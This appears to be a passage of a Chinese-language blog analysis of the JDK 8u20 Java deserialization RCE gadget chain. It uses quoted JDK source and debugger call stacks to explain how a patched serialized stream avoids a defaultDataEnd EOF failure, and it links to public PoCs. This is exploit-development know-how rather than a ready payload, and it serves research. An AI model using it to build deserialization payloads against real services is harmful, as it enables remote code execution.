http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u20-b26/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u20-b26/src/share/classes/java/io/ObjectInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u20-b26/src/share/classes/java/io/DataInputStream.java -------------------------------------------------------------------------- /* * sun.reflect.annotation.AnnotationInvocationHandler.readObject(ObjectInputStream) : void */ private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { /* * 331行 */ s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { /* * 338行 */ annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out /* * 341行 */ throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } ... } -------------------------------------------------------------------------- 在Eclipse中断在331行,检查s.defaultDataEnd,此时还是false。利用 "Toggle Watchpoint"对s.defaultDataEnd设置"写数据断点",命中时调用栈回溯如 下: -------------------------------------------------------------------------- java.io.ObjectInputStream.defaultReadObject() line: 509 sun.reflect.annotation.AnnotationInvocationHandler.readObject(java.io.ObjectInputStream) line: 331 sun.reflect.NativeMethodAccessorImpl.invoke0(java.lang.reflect.Method, java.lang.Object, java.lang.Object[]) line: not available [native method] sun.reflect.NativeMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 62 sun.reflect.DelegatingMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 43 java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object...) line: 483 java.io.ObjectStreamClass.invokeReadObject(java.lang.Object, java.io.ObjectInputStream) line: 1017 java.io.ObjectInputStream.readSerialData(java.lang.Object, java.io.ObjectStreamClass) line: 1896 java.io.ObjectInputStream.readOrdinaryObject(boolean) line: 1801 java.io.ObjectInputStream.readObject0(boolean) line: 1351 java.io.ObjectInputStream.readObject() line: 371 java.beans.beancontext.BeanContextSupport.readChildren(java.io.ObjectInputStream) line: 1031 java.beans.beancontext.BeanContextSupport.readObject(java.io.ObjectInputStream) line: 1082 sun.reflect.NativeMethodAccessorImpl.invoke0(java.lang.reflect.Method, java.lang.Object, java.lang.Object[]) line: not available [native method] sun.reflect.NativeMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 62 sun.reflect.DelegatingMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 43 java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object...) line: 483 java.io.ObjectStreamClass.invokeReadObject(java.lang.Object, java.io.ObjectInputStream) line: 1017 java.io.ObjectInputStream.readSerialData(java.lang.Object, java.io.ObjectStreamClass) line: 1896 java.io.ObjectInputStream.readOrdinaryObject(boolean) line: 1801 java.io.ObjectInputStream.readObject0(boolean) line: 1351 java.io.ObjectInputStream.readObject() line: 371 java.util.LinkedHashSet(java.util.HashSet).readObject(java.io.ObjectInputStream) line: 333 sun.reflect.NativeMethodAccessorImpl.invoke0(java.lang.reflect.Method, java.lang.Object, java.lang.Object[]) line: not available [native method] sun.reflect.NativeMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 62 sun.reflect.DelegatingMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 43 java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object...) line: 483 java.io.ObjectStreamClass.invokeReadObject(java.lang.Object, java.io.ObjectInputStream) line: 1017 java.io.ObjectInputStream.readSerialData(java.lang.Object, java.io.ObjectStreamClass) line: 1896 java.io.ObjectInputStream.readOrdinaryObject(boolean) line: 1801 java.io.ObjectInputStream.readObject0(boolean) line: 1351 java.io.ObjectInputStream.readObject() line: 371 DeserializeObject.main(java.lang.String[]) line: 12 -------------------------------------------------------------------------- /* * java.io.ObjectInputStream.defaultReadObject() : void * * Read the non-static and non-transient fields of the current class from * this stream. This may only be called from the readObject method of the * class being deserialized. It will throw the NotActiveException if it is * called otherwise. * * @throws ClassNotFoundException if the class of a serialized object * could not be found. * @throws IOException if an I/O error occurs. * @throws NotActiveException if the stream is not currently reading * objects. */ public void defaultReadObject() throws IOException, ClassNotFoundException { SerialCallbackContext ctx = curContext; if (ctx == null) { throw new NotActiveException("not in call to readObject"); } Object curObj = ctx.getObj(); ObjectStreamClass curDesc = ctx.getDesc(); bin.setBlockDataMode(false); defaultReadFields(curObj, curDesc); bin.setBlockDataMode(true); /* * 503行,如果待反序列化的类没有private的writeObject(),此处布尔值为true */ if (!curDesc.hasWriteObjectData()) { /* * Fix for 4360508: since stream does not contain terminating * TC_ENDBLOCKDATA tag, set flag so that reading code elsewhere * knows to simulate end-of-custom-data behavior. */ /* * 509行,defaultDataEnd在此被设置成true */ defaultDataEnd = true; } ClassNotFoundException ex = handles.lookupException(passHandle); if (ex != null) { throw ex; } } -------------------------------------------------------------------------- AnnotationInvocationHandler比较奇特,只有private的readObject(),没有想像中 与之对称的private的writeObject()。不过仔细看看它的readObject()也就理解了, 其中真正与反序列化有关的代码只有s.defaultReadObject(),后面乱七八糟的代码 都是在检查反序列化结果的有效性。由于AnnotationInvocationHandler没有private 的writeObject(),体现在classDescFlags只有SC_SERIALIZABLE,而不是 "SC_WRITE_METHOD | SC_SERIALIZABLE",也体现在curDesc.hasWriteObjectData() 返回false。如果序列化数据未被Patch,defaultDataEnd将在509行被设成true。 defaultDataEnd这个变量名已经表明,其为true时表示后面没有序列化数据了,到尾 了。有private的writeObject(),一般意味着缺省序列化数据后面还有其他自定义序 列化数据,defaultDataEnd将保持为false。 Patch操作使得503行布尔值为false,从而不去509行。 -------------------------------------------------------------------------- /* * java.beans.beancontext.BeanContextSupport.readObject(ObjectInputStream) : void */ private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { synchronized(BeanContext.globalHierarchyLock) { ois.defaultReadObject(); initialize(); bcsPreDeserializationHook(ois); if (serializable > 0 && this.equals(getBeanContextPeer())) readChildren(ois); /* * 1084行,尽管defaultDataEnd为true,单步跟到此处时尚无其他幺蛾子 */ deserialize(ois, bcmListeners = new ArrayList(1)); } } -------------------------------------------------------------------------- 在Eclipse中断在1084行,检查ois.defaultDataEnd,此时已经是true。利用 "Toggle Watchpoint"对ois.defaultDataEnd设置"读数据断点",命中时调用栈回溯 如下: -------------------------------------------------------------------------- java.io.ObjectInputStream.access$500(java.io.ObjectInputStream) line: 206 java.io.ObjectInputStream$BlockDataInputStream.readBlockHeader(boolean) line: 2460 java.io.ObjectInputStream$BlockDataInputStream.refill() line: 2546 java.io.ObjectInputStream$BlockDataInputStream.read() line: 2618 java.io.DataInputStream.readInt() line: 387 java.io.ObjectInputStream$BlockDataInputStream.readInt() line: 2823 java.io.ObjectInputStream.readInt() line: 972 java.beans.beancontext.BeanContextSupport.deserialize(java.io.ObjectInputStream, java.util.Collection) line: 931 java.beans.beancontext.BeanContextSupport.readObject(java.io.ObjectInputStream) line: 1084 sun.reflect.NativeMethodAccessorImpl.invoke0(java.lang.reflect.Method, java.lang.Object, java.lang.Object[]) line: not available [native method] sun.reflect.NativeMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 62 sun.reflect.DelegatingMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 43 java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object...) line: 483 java.io.ObjectStreamClass.invokeReadObject(java.lang.Object, java.io.ObjectInputStream) line: 1017 java.io.ObjectInputStream.readSerialData(java.lang.Object, java.io.ObjectStreamClass) line: 1896 java.io.ObjectInputStream.readOrdinaryObject(boolean) line: 1801 java.io.ObjectInputStream.readObject0(boolean) line: 1351 java.io.ObjectInputStream.readObject() line: 371 java.util.LinkedHashSet(java.util.HashSet).readObject(java.io.ObjectInputStream) line: 333 sun.reflect.NativeMethodAccessorImpl.invoke0(java.lang.reflect.Method, java.lang.Object, java.lang.Object[]) line: not available [native method] sun.reflect.NativeMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 62 sun.reflect.DelegatingMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 43 java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object...) line: 483 java.io.ObjectStreamClass.invokeReadObject(java.lang.Object, java.io.ObjectInputStream) line: 1017 java.io.ObjectInputStream.readSerialData(java.lang.Object, java.io.ObjectStreamClass) line: 1896 java.io.ObjectInputStream.readOrdinaryObject(boolean) line: 1801 java.io.ObjectInputStream.readObject0(boolean) line: 1351 java.io.ObjectInputStream.readObject() line: 371 DeserializeObject.main(java.lang.String[]) line: 12 -------------------------------------------------------------------------- /* * java.io.ObjectInputStream$BlockDataInputStream.readBlockHeader * * Attempts to read in the next block data header (if any). If * canBlock is false and a full header cannot be read without possibly * blocking, returns HEADER_BLOCKED, else if the next element in the * stream is a block data header, returns the block data length * specified by the header, else returns -1. */ private int readBlockHeader(boolean canBlock) throws IOException { /* * 2460行,如果defaultDataEnd为true,直接返回-1 */ if (defaultDataEnd) { /* * Fix for 4360508: stream is currently at the end of a field * value block written via default serialization; since there * is no terminating TC_ENDBLOCKDATA tag, simulate * end-of-custom-data behavior explicitly. */ /* * 2467行,未Patch前流程至此 */ return -1; } try { for (;;) { int avail = canBlock ? Integer.MAX_VALUE : in.available(); if (avail == 0) { return HEADER_BLOCKED; } int tc = in.peek(); switch (tc) { /* * 2478行,为攻击得手,反序列化流程必须至此 */ case TC_BLOCKDATA: if (avail < 2) { return HEADER_BLOCKED; } in.readFully(hbuf, 0, 2); return hbuf[1] & 0xFF; case TC_BLOCKDATALONG: if (avail < 5) { return HEADER_BLOCKED; } in.readFully(hbuf, 0, 5); int len = Bits.getInt(hbuf, 1); if (len < 0) { throw new StreamCorruptedException( "illegal block data header length: " + len); } return len; /* * TC_RESETs may occur in between data blocks. * Unfortunately, this case must be parsed at a lower * level than other typecodes, since primitive data * reads may span data blocks separated by a TC_RESET. */ case TC_RESET: in.read(); handleReset(); break; default: if (tc >= 0 && (tc < TC_BASE || tc > TC_MAX)) { throw new StreamCorruptedException( String.format("invalid type code: %02X", tc)); } return -1; } } } catch (EOFException ex) { throw new StreamCorruptedException( "unexpected EOF while reading block data header"); } } -------------------------------------------------------------------------- /* * java.io.DataInputStream.readInt() : int */ public final int readInt() throws IOException { /* * 387行,如果defaultDataEnd为true,ch1将等于-1,后面的ch2、ch3、ch4也是 */ int ch1 = in.read(); int ch2 = in.read(); int ch3 = in.read(); int ch4 = in.read(); /* * 391行 */ if ((ch1 | ch2 | ch3 | ch4) < 0) /* * 392行,在此抛出EOFException,利用链被破坏 */ throw new EOFException(); return ((ch1 << 24) + (ch2 << 16) + (ch3 << 8) + (ch4 << 0)); } -------------------------------------------------------------------------- 前面的分析能够解释defaultDataEnd为true时有什么问题。还有个问题,如果 AnnotationInvocationHandler.readObject()不抛异常、正常return,会影响 defaultDataEnd吗? AnnotationInvocationHandler.readObject()不抛异常、正常return的话,半路上有 其他流程设置defaultDataEnd成false,通过"写数据断点"找到了这个位置。 -------------------------------------------------------------------------- sun.reflect.annotation.AnnotationInvocationHandler.readObject(java.io.ObjectInputStream) line: 331 sun.reflect.NativeMethodAccessorImpl.invoke0(java.lang.reflect.Method, java.lang.Object, java.lang.Object[]) line: not available [native method] sun.reflect.NativeMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 62 sun.reflect.DelegatingMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 43 java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object...) line: 483 java.io.ObjectStreamClass.invokeReadObject(java.lang.Object, java.io.ObjectInputStream) line: 1017 java.io.ObjectInputStream.readSerialData(java.lang.Object, java.io.ObjectStreamClass) line: 1896 // 此处调readObject() java.io.ObjectInputStream.readOrdinaryObject(boolean) line: 1801 java.io.ObjectInputStream.readObject0(boolean) line: 1351 java.io.ObjectInputStream.readObject() line: 371 java.beans.beancontext.BeanContextSupport.readChildren(java.io.ObjectInputStream) line: 1031 // 此处catch异常 java.beans.beancontext.BeanContextSupport.readObject(java.io.ObjectInputStream) line: 1082 sun.reflect.NativeMethodAccessorImpl.invoke0(java.lang.reflect.Method, java.lang.Object, java.lang.Object[]) line: not available [native method] sun.reflect.NativeMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 62 sun.reflect.DelegatingMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 43 java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object...) line: 483 java.io.ObjectStreamClass.invokeReadObject(java.lang.Object, java.io.ObjectInputStream) line: 1017 java.io.ObjectInputStream.readSerialData(java.lang.Object, java.io.ObjectStreamClass) line: 1896 java.io.ObjectInputStream.readOrdinaryObject(boolean) line: 1801 java.io.ObjectInputStream.readObject0(boolean) line: 1351 java.io.ObjectInputStream.readObject() line: 371 java.util.LinkedHashSet(java.util.HashSet).readObject(java.io.ObjectInputStream) line: 333 sun.reflect.NativeMethodAccessorImpl.invoke0(java.lang.reflect.Method, java.lang.Object, java.lang.Object[]) line: not available [native method] sun.reflect.NativeMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 62 sun.reflect.DelegatingMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 43 java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object...) line: 483 java.io.ObjectStreamClass.invokeReadObject(java.lang.Object, java.io.ObjectInputStream) line: 1017 java.io.ObjectInputStream.readSerialData(java.lang.Object, java.io.ObjectStreamClass) line: 1896 java.io.ObjectInputStream.readOrdinaryObject(boolean) line: 1801 java.io.ObjectInputStream.readObject0(boolean) line: 1351 java.io.ObjectInputStream.readObject() line: 371 DeserializeObject.main(java.lang.String[]) line: 12 -------------------------------------------------------------------------- /* * java.io.ObjectInputStream.readSerialData(Object, ObjectStreamClass) : void * * Reads (or attempts to skip, if obj is null or is tagged with a * ClassNotFoundException) instance data for each serializable class of * object in stream, from superclass to subclass. Expects that passHandle * is set to obj's handle before this method is called. */ private void readSerialData(Object obj, ObjectStreamClass desc) throws IOException { ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout(); for (int i = 0; i < slots.length; i++) { ObjectStreamClass slotDesc = slots[i].desc; if (slots[i].hasData) { if (obj != null && slotDesc.hasReadObjectMethod() && handles.lookupException(passHandle) == null) { SerialCallbackContext oldContext = curContext; try { curContext = new SerialCallbackContext(obj, slotDesc); bin.setBlockDataMode(true); /* * 1896行,调用AnnotationInvocationHandler.readObject() */ slotDesc.invokeReadObject(obj, this); } catch (ClassNotFoundException ex) { /* * In most cases, the handle table has already * propagated a CNFException to passHandle at this * point; this mark call is included to address cases * where the custom readObject method has cons'ed and * thrown a new CNFException of its own. */ handles.markException(passHandle, ex); } finally { curContext.setUsed(); curContext = oldContext; } /* * defaultDataEnd may have been set indirectly by custom * readObject() method when calling defaultReadObject() or * readFields(); clear it to restore normal read behavior. */ /* * 1916行,如果AnnotationInvocationHandler.readObject()不抛异常、正常 * return的话,流程至此,反之流程不经过此处。前面虽然有catch,但没有catch * java.io.InvalidObjectException。 */ defaultDataEnd = false; } else { defaultReadFields(obj, slotDesc); } if (slotDesc.hasWriteObjectData()) { skipCustomData(); } else { bin.setBlockDataMode(false); } } else { if (obj != null && slotDesc.hasReadObjectNoDataMethod() && handles.lookupException(passHandle) == null) { slotDesc.invokeReadObjectNoData(obj); } } } } -------------------------------------------------------------------------- java.beans.beancontext.BeanContextSupport.readChildren(java.io.ObjectInputStream) line: 1033 // 此处 java.beans.beancontext.BeanContextSupport.readObject(java.io.ObjectInputStream) line: 1082 sun.reflect.NativeMethodAccessorImpl.invoke0(java.lang.reflect.Method, java.lang.Object, java.lang.Object[]) line: not available [native method] sun.reflect.NativeMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 62 sun.reflect.DelegatingMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 43 java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object...) line: 483 java.io.ObjectStreamClass.invokeReadObject(java.lang.Object, java.io.ObjectInputStream) line: 1017 java.io.ObjectInputStream.readSerialData(java.lang.Object, java.io.ObjectStreamClass) line: 1896 java.io.ObjectInputStream.readOrdinaryObject(boolean) line: 1801 java.io.ObjectInputStream.readObject0(boolean) line: 1351 java.io.ObjectInputStream.readObject() line: 371 java.util.LinkedHashSet(java.util.HashSet).readObject(java.io.ObjectInputStream) line: 333 sun.reflect.NativeMethodAccessorImpl.invoke0(java.lang.reflect.Method, java.lang.Object, java.lang.Object[]) line: not available [native method] sun.reflect.NativeMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 62 sun.reflect.DelegatingMethodAccessorImpl.invoke(java.lang.Object, java.lang.Object[]) line: 43 java.lang.reflect.Method.invoke(java.lang.Object, java.lang.Object...) line: 483 java.io.ObjectStreamClass.invokeReadObject(java.lang.Object, java.io.ObjectInputStream) line: 1017 java.io.ObjectInputStream.readSerialData(java.lang.Object, java.io.ObjectStreamClass) line: 1896 java.io.ObjectInputStream.readOrdinaryObject(boolean) line: 1801 java.io.ObjectInputStream.readObject0(boolean) line: 1351 java.io.ObjectInputStream.readObject() line: 371 DeserializeObject.main(java.lang.String[]) line: 12 -------------------------------------------------------------------------- /* * java.beans.beancontext.BeanContextSupport.readChildren(ObjectInputStream) : void */ public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException { int count = serializable; while (count-- > 0) { Object child = null; BeanContextSupport.BCSChild bscc = null; try { /* * 1031行,调用AnnotationInvocationHandler.readObject() */ child = ois.readObject(); bscc = (BeanContextSupport.BCSChild)ois.readObject(); } catch (IOException ioe) { /* * 1034行,AnnotationInvocationHandler.readObject()抛出的异常在此被catch。 * 如果未Patch,此时defaultDataEnd为true,readSerialData()中恢复其为false * 的代码被跳过了。 */ continue; } catch (ClassNotFoundException cnfe) { continue; } ... } } -------------------------------------------------------------------------- Wouter Coekaerts用非常规手段来消弥readSerialData()被晃点后的麻烦。 12.12.1) 关于defaultDataEnd的简化版调用关系 -------------------------------------------------------------------------- BeanContextSupport.readObject // 8u20-b26 BeanContextSupport.readChildren // BeanContextSupport:1082 ObjectInputStream.readObject // BeanContextSupport:1031 AnnotationInvocationHandler.readObject ObjectInputStream.defaultReadObject // AnnotationInvocationHandler:331 // 此时defaultDataEnd为false if (!curDesc.hasWriteObjectData()) // ObjectInputStream:503 // AnnotationInvocationHandler没有private的writeObject() // Patch操作使得503行布尔值为false,从而不去509行 defaultDataEnd = true // ObjectInputStream:509 BeanContextSupport.deserialize // BeanContextSupport:1084 ObjectInputStream.readInt // BeanContextSupport:931 // 为了攻击顺利,需要此处读到0 ObjectInputStream$BlockDataInputStream.readInt // ObjectInputStream:972 DataInputStream.readInt // ObjectInputStream:2823 ObjectInputStream$BlockDataInputStream.read // DataInputStream:387 ObjectInputStream$BlockDataInputStream.refill // ObjectInputStream:2618 // end此时等于0,未Patch时在refill()中end被改成-1 ObjectInputStream$BlockDataInputStream.readBlockHeader // ObjectInputStream:2546 // int n = readBlockHeader(true) if (defaultDataEnd) // ObjectInputStream:2460 return -1 // ObjectInputStream:2467 // 未Patch时流程至此 if (n >= 0) // ObjectInputStream:2547 // n此时等于-1 end = -1 // ObjectInputStream:2551 return (end >= 0) ? (buf[pos++] & 0xFF) : -1 // ObjectInputStream:2620 // 未Patch时流程至此,end此时等于-1,导致此处返回-1 if ((ch1 | ch2 | ch3 | ch4) < 0) // DataInputStream:391 // 此时ch1至ch4全是-1 throw new EOFException() // DataInputStream:392 // 未Patch时在此抛出异常,利用链被破坏 -------------------------------------------------------------------------- ☆ 后记 如果有人看过我写的《新版burp-loader-keygen-2.jar》,再来看JDK8u20新型PoC实 现,是不是有种感觉,这哥们特别喜欢操作字节。是滴,从DOS 3.0走过来的那一代 程序员,或许都有这种偏向性。我这种搞法看着不像是搞Java反序列化漏洞利用链, 更像是在破解软件。新型PoC谈不上更好,但更适合我的思维方式,想必有一部分朋 友有同感,足矣。 ☆ 参考资源 [94] Java序列化草案 - 戒子猪 [2012-12-15] https://blog.csdn.net/silentbalanceyh/article/details/8183849 Java Object Serialization Specification http://docs.oracle.com/javase/7/docs/platform/serialization/spec/serialTOC.html http://docs.oracle.com/javase/8/docs/platform/serialization/spec/serialTOC.html [95] More serialization hacks with AnnotationInvocationHandler - Wouter Coekaerts [2015-11-09] http://wouter.coekaerts.be/2015/annotationinvocationhandler Breaking Defensive Serialization - samikoivu [2010-08-08] http://slightlyrandombrokenthoughts.blogspot.com/2010/08/breaking-defensive-serialization.html (这位是reJ的作者,演示了一堆Java序列化、反序列化中的竞争环境问题) [96] Pure JRE 8 RCE Deserialization gadget - pwntester https://github.com/pwntester/JRE8u20_RCE_Gadget [97] Java反序列化Payload之JRE8u20 - n1nty [2017-11-20] https://www.anquanke.com/post/id/87270 https://github.com/QAX-A-Team/SerialWriter [98] JRE8u20反序列化 - haby0 [2020-02-21] https://xz.aliyun.com/t/7240 https://github.com/haby0/JavaDeserialization